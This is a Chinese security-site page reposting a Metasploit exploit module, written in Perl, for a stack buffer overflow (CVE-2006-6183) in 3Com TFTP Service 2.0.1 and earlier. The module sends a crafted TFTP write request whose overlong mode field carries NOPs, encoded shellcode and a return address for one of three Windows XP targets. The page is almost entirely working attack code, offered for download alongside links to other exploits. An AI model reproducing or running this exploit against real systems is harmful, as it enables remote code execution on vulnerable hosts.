首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
3Com TFTP Service <= 2.0.1 Remote Buffer Overflow Exploit (meta)
来源:vincenty [at] enseirb.fr 作者:Enseirb 发布时间:2007-01-22  

package Msf::Exploit::3com_tftp_long_mode;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket;

my $advanced =
{
};

my $info =
{
'Name' => 'TFTP Server 3CTftpSvc Buffer Overflow Vulnerability',
'Version' => '$ 1.0 $',
'Authors' => ['Enseirb <vincenty [at] enseirb.fr>', ],
'Description' =>
Pex::Text::Freeform(qq{
This vulnerability is caused due to a boundary error during the processing of TFTP Read/Write request packet types. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted packet with an overly long mode field (more than 460 bytes).
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'seh' },
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The TFTP target adress', "127.0.0.1" ],
'RPORT' => [ 0, 'PORT', 'The TFTP target port', 69 ],
},

'Payload' =>
{
'Space' => 344,
'BadChars' => "\x00",
},

'Refs' =>
[
['URL', 'http://www.securityfocus.com/bid/21301'],
['CVE', '2006-6183'],
['URL', 'http://secunia.com/advisories/23113'],
['URL', 'http://www.securityfocus.com/archive/1/452754'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ '0 - Windows XP SP2 ENG', 0x77d4e23b ], #or 0x77bc2063
[ '1 - Windows XP SP1 FR', 0x77d8117b ],
[ '2 - Windows XP SP2 FR', 0x77d8d9af ],
],

'Keys' => [ '3com' ],

'DisclosureDate' => 'Nov 27 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $target_idx = $self->GetVar('TARGET');
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

my $buff = "\x00\x02"; # for a WRQ (WriteReQuest) (or "\x00\x01" for a RRQ)
$buff .= "filename_string";
$buff .= "\x00";
$buff .= $self->MakeNops(129) . $shellcode;
$buff .= pack('V',$target->[1]);
$buff .= "\x00";

$self->PrintLine('[+] Try to connect... ' . $target_host . ':' . $target_port);

my $s = Msf::Socket::Udp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[-] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine('[+] Connected!');
$self->PrintLine('[+] Sending exploit...');

$s->Send($buff);
$self->PrintLine('[+] Exploit sent!');
$s->Close();

return;
}

1;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sun Microsystems Java GIF File
·Mafia Scum Tools 2.0.0 (index.
·Mac OS X 10.4.x Kernel shared_
·webSPELL 4.01.02 (gallery.php)
·Apple iChat 3.1.6 v441 aim://
·Mac OS X 10.4.8 System Prefere
·phpIndexPage <= 1.0.1 (conf
·VisoHotlink 1.01 functions.vis
·GNU/Linux mbse-bbs <= 0.70.
·Microsoft Visual C++ (.RC Reso
·phpBP <= RC3 (2.204) (sql/c
·Oracle 10g SYS.DBMS_CDC_IMPDP.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved